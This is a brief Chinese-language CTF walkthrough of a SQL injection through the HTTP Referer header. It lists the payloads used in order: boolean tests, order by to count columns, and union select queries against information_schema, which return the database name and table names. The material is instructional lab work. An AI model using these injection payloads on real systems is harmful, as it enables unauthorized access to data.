题目要已经提示是refer注入并且给我们提示了，在referer输入ID
referer:1
判断是否存在注入：
referer:1 and 1=1
referer:1 and 1=2
发现报错开始注入
探测表有多少列:
referer:1 order by 2
判断出这里存在两个字段
库名：
referer:-1 union select 1,database()
sqli
表名：
referer:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
Data: bvlnayurwo,news
